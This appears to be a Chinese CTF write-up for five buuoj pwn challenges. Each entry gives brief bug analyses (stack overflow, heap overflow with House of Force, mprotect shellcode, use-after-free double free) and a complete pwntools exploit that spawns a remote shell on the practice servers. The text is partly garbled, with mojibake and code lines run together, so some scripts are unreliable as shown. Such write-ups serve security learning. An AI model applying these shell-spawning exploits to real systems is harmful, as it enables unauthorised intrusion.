buuoj Pwn writeup 246-250
246 pwnable_echo1
結(jié)構(gòu)簡(jiǎn)單。
功能1
就是個(gè)輸入輸出。但是顯然有個(gè)棧溢出。
功能2功能3沒(méi)有。
啥保護(hù)沒(méi)有,就棧溢出就完了。可以直接rop,它開(kāi)了NX。也可以shellcode。
寫(xiě)shellcode會(huì)有兩種,一種是布置在棧上,然后在bss上通過(guò)jmp esp跳過(guò)去,一種是寫(xiě)在bss上,然后直接跳過(guò)去,根據(jù)可輸入大小來(lái)自行調(diào)節(jié)。
exp
from pwn import *context(os='linux',arch='amd64',log_level='debug')id_addr=0x6020A0r= remote("node4.buuoj.cn", "28880")payload = "A" * (0x20+8) + p64(id_addr) +asm(shellcraft.sh()) r.recvuntil("hey, what's your name? : ")r.sendline(asm("jmp rsp")) r.recvuntil("> ") r.sendline("1") r.recvline() #gdb.attach(p) r.sendline(payload)r.interactive()247 actf_2019_actfnote
add
申請(qǐng)了一個(gè)0x18的chunk放各種信息,name會(huì)申請(qǐng)一個(gè)size大小的chunk,而content用的是strdup。
free
清理的也是較為干凈的。
edit
content直接輸入0x20個(gè),前面用的是strdup,有溢出。
list
就是一頓輸出。
因?yàn)橛幸绯?#xff0c;也不大,能把下個(gè)chunk的pre_size size覆蓋掉。
因?yàn)闆](méi)開(kāi)pie,所以直接unlink就好了。當(dāng)然off by one啥的都可以用。
瞅了瞅網(wǎng)上師傅們的wp,發(fā)現(xiàn)還有種解法。
可以直接修改top chunk的size,那么只需要把top chunk的size修改為-1,然后malloc一個(gè)負(fù)數(shù),即可將TOP chunk向前移動(dòng)與已有的chunk重疊,然后通過(guò)申請(qǐng)空間,控制該程序結(jié)構(gòu)體的指針即可實(shí)現(xiàn)任意地址讀寫(xiě)。
非常的神奇……
exp
#coding:utf8 from pwn import *context.log_level = "debug"r = remote('node4.buuoj.cn', 27461)libc = ELF('./64/libc-2.27.so')def add(size,name,content):r.sendlineafter('$','1')r.sendlineafter('size:',str(size))r.sendafter('name:',name)r.sendafter('content:',content)def edit(index,content):r.sendlineafter('$','2')r.sendlineafter('id:',str(index))r.sendafter('content:',content)def delete(index):r.sendlineafter('$','3')r.sendlineafter('id:',str(index))def show(index):r.sendlineafter('$','4')r.sendlineafter('id:',str(index))add(0x10,'a\n','b'*0x18) #0 add(0x10,'a\n','/bin/sh\x00') #1 show(0) r.recvuntil('b'*0x18)libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x8e3f2 system_addr = libc_base + libc.sym['system'] free_hook_addr = libc_base + libc.sym['__free_hook'] print 'libc_base=',hex(libc_base)add(0x10,'a\n','b\n') #2 edit(2,'b'*0x10 + p64(0) + '\xff'*0x8) add(-0x80,p64(free_hook_addr),'') #3 edit(2,p64(system_addr)) delete(1)r.interactive()248 駭極杯_2018_babyarm
main函數(shù)在這里。
首先調(diào)用了0x400760
就是set buf。
接著輸出了個(gè)name,然后能讀。讀0x200,可以讀到bss上。
再進(jìn)入另外一個(gè)函數(shù)。
又可以讀0x200,這次讀在棧里面,顯然有個(gè)棧溢出。
沒(méi)有啥libc啥的,但是發(fā)現(xiàn)有個(gè)mprotect。
所以就像x86一樣,返回mprotect改權(quán)限然后執(zhí)行shellcode。
exp
from pwn import*elf = ELF('./pwn') context(arch='aarch64',log_level='debug') r = remote('node4.buuoj.cn',29842)shellcode_addr = 0x411068 mprotect = 0x4007e0gadget1 = 0x4008cc gadget2 = 0x04008acshellcode = p64(mprotect)+p64(0)+asm(shellcraft.sh()) r.recvuntil('Name:') r.sendline(shellcode) sleep(0.1)payload = 'a'*0x48+p64(gadget1)+p64(0)+p64(gadget2) payload += p64(0)*2+p64(shellcode_addr)+p64(0x7)+p64(0x1000)+p64(0x411000) payload += p64(0)+p64(shellcode_addr+0x10)r.sendline(payload) r.interactive()249 metasequoia_2020_samsara
free的地方有uaf,可以做double。
在棧上偽造一個(gè)chunk,然后改值就好了。
exp
from pwn import *r = remote("node4.buuoj.cn",26172)def add():r.sendlineafter(">","1")def delete(index):r.sendlineafter(">","2")r.sendlineafter(":\n",index)def edit(index,content):r.sendlineafter(">","3")r.sendlineafter(":\n",index)r.sendlineafter(":\n",content)def edit_lair(value):r.sendlineafter(">","5")r.sendlineafter("?\n",value)add() add() add() delete("0") delete("1") delete("0")add() #chunk 3 edit_lair(str(0x20)) edit("3",str(show()-0x8)) add() add() add() edit("6",str(3735928559))r.sendline("6")r.interactive()250 tiny_backdoor_v1_hackover_2016
保護(hù)一點(diǎn)沒(méi)有。
程序很小,一點(diǎn)一點(diǎn)分析。
首先調(diào)用0x4000e1這個(gè)函數(shù)。
能往bss讀九個(gè)字節(jié)。
又調(diào)用了0x4000f9。
有個(gè)小算法。
a1是一堆數(shù)字的數(shù)組,a2是一共多少數(shù)字,一共72.
a1中的值^=你輸入的九個(gè)中的值。
最后調(diào)用a1.
所以邏輯就是你輸入個(gè)啥,然后讓他們一頓循環(huán),最后把a(bǔ)1變成shellcode。
但是說(shuō)實(shí)話,咋就能倒回來(lái),這我真不知道……
好不容易找了個(gè)exp學(xué)習(xí)學(xué)習(xí),他也說(shuō)不知道……
這玩意只能是寫(xiě)個(gè)算法慢慢猜吧…
猜猜是不是syscall的
猜猜是不是orw的
orw還得猜猜讀取的大小,讀取的位置,哎呀。
exp
from pwn import * context.log_level='debug' context.arch = "amd64"r = remote("node4.buuoj.cn",25368)key = '\xe6\xd9\xf6\x38\x2a\x02\xfd\x3a\xc3' r.send(key) r.interactive()總結(jié)
以上是生活随笔為你收集整理的buuoj Pwn writeup 246-250的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 读书笔记软件调试之道 :问题的核心-诊断
- 下一篇: AccountManager.creat